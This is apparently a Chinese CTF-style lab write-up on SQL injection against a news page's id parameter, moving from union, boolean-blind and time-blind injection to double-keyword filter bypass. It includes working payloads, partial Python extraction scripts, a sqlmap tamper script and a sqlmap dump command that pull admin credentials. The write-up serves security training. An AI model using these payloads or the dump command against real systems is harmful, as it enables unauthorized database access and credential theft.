【网络对抗演练】SQL 注入漏洞
前置知识
- 布尔盲注:有时,SQL 语句查询正常时,并不会回显数据。但是我们可以通过页面内容来判断执行是否成功。即使这样,我们任然可以拿到数据,如:
id=1 and lenght((select database()))=x
的布尔值可以得到database()
的长度。 - 延时盲注:如果没有任何回显,我们可以通过延时来解决,当布尔值为 true 时,延时一会儿,其他不延时,也能达到注入效果。
T1-手动注入
打开目标网站,我们可以发现网页有两个功能,一个是登录功能,一个是查看热点新闻功能。直觉告诉我,登录功能有 SQL 注入点,但实际上不是这样的。
在我们点击查看新闻时,打开浏览器抓包工具,可以看到实际执行的 URL 是 http://58.240.236.231:27002/backend/content_detail.php?id=1
,这是最终的 SQL 注入点。
首先,我们需要拿到当前的数据库名称。可以通过 select database()
来查询。因此,我们构造 id=1 union select database(),_
来查询,为什么需要有个占位符呢?这是因为原始数据有 2 列,需要保证 union 的两个表的列数一致。但是,还是不能拿到数据,这是为什么呢?
经过分析,这是因为后端只输出一行数据。所以我们添加一个 limit 1 offset 1
,就可以输出第二行数据了。最终,构造的 payload 如下:
1 | id=1 union select database(),2 limit 1 offset 1# |
执行结果如下:
因此,我们拿到了数据库的名称,也即 news
。同理,我们通过:
1 | id=1 union select group_concat(table_name), 2 from information_schema.tables where table_schema='news' limit 1 offset 1# |
可以拿到表名如下:
通过表名,我们可以拿到字段名,构造 payload 如下:
1 | id=1 union select group_concat(column_name), 2 from information_schema.columns where table_name='admin' limit 1 offset 1# |
可以拿到列名如下:
通过列名,我们拿到数据,构造 payload 如下:
1 | id=1 union select group_concat(username), 2 from admin limit 1 offset 1# |
得到 username 和 password 的值如下:
1 | username=admin |
将拿到的用户名与密码去登录,可以拿到 flag 如下:
T2-布尔盲注
对于查询结果为 true,会返回"测试新闻",对于查询结果为 false,会返回"nonono"。因此,我们可以使用布尔盲注来解决这个问题。
构造脚本如下:
1 | url = "http://58.240.236.231:27003/backend/content_detail.php?id=1" |
如上的脚本可以拿到 database_name
,同理,使用如下 payload 可以拿到所有数据:
1 | inTable = " and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{2}'),{0},1))={1}%23" |
最终,拿到用户名和密码如下:
1 | username=admin |
T3-延时盲注
此时无任何回显,因此使用延时盲注来解决这个问题。构造脚本如下:
1 | url = "http://58.240.236.232:27004/backend/content_detail.php?id=1" |
如上的脚本可以拿到 database_name
,同理,使用如下 payload 可以拿到所有数据:
1 | inTable = " or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{2}'),{0},1))={1},sleep(3),0)%23" |
最终,拿到用户名和密码如下:
1 | username=admin |
T4-延时注入(需要绕过过滤)
首先,直接执行试试看,可以发现,会回显执行的 SQL 语句,这有利于我们确定过滤的字符,从而执行绕过。
使用获取数据库名的语句执行试试,也就是 payload 为 id=1 union select database(),2 limit 1 offset 1#
。但是我们会发现,select 被过滤掉了,union 也被过滤掉了。
绕过过滤的一些方法:
- 大小写绕过,因为 SQL 语句是不区分大小写的,因此,写成 uNiOn 这样以绕过过滤(失败)
- 内联注释绕过,在某些情况下
/* union */
会被注释掉,不会执行过滤。而在 SQL 中不影响,从而可以绕过(失败) - 十六进制绕过,直接使用十六进制表示字符串,只适用于表名等字符串。
双写关键字绕过,由于 union
会被替换为空,那么 uunionnion
呢?会被替换为 union
!
于是,修改我们拿到数据库名的脚本如下:
1 | import requests |
可以知道数据库名为 news
。将拿到表名对应的 inTable
修改如下,可以拿到 table 名为 admin, content
。
1 | inTable = " oorr if(ascii(substr((seselectlect group_concat(table_name) frfromom infofromrmation_schema.tables where table_schema='{2}'),{0},1))={1},sleep(3),0)%23" |
然后将 columnpayload
修改如下,在脚本执行中一直有较大问题,并且在我逆序的时候结果很奇怪,修改为正序也会出错
1 | columnpayload = " oorr if(ascii(substr((seselectlect group_concat(column_name) frfromom infoorrmation_schema.columns where table_name='{2}'),{0},1))={1},sleep(3),0)%23" |
多执行几次可以大致猜测出来是 id,username,password
(不执行我也知道是这个结果)更优雅的做法当然是使用布尔盲注了,就不会受网络的影响。
然后,我们可以继续执行,不过这里 password 的情况较为复杂,不仅仅是因为 or 被 ban 掉了,并且 password 也被 ban 掉了。并且经过测试,发现 password 会循环两次 ban,也就是构造 double 个 password 都会被 ban 掉,这不难,搞三个即可。例如 passwopasswopasswoorrdrdrd
,先 ban 掉 or 再两次 password,还剩一个 password。
拿到用户名和密码对应的 payload 如下:
1 | undpayload = " oorr if(ascii(substr((seselectlect group_concat(username) frfromom {2}),{0},1))={1},sleep(3),0)%23" |
最终得到的 username
和 password
分别为:
1 | username=admin |
其实,当我们知道了这些绕过规则后,就可以用 sqlmap
直接跑脚本了。首先,构造一个绕过替换脚本,命名为 double.py
存储在 sqlmap/tamper
文件夹中。
1 | from lib.core.compat import xrange |
然后执行 python3 sqlmap.py -u "http://58.240.236.232:27005/backend/content_detail.php?id=1" -D news -T admin --dump --tamper=double.py --flush-session
即可。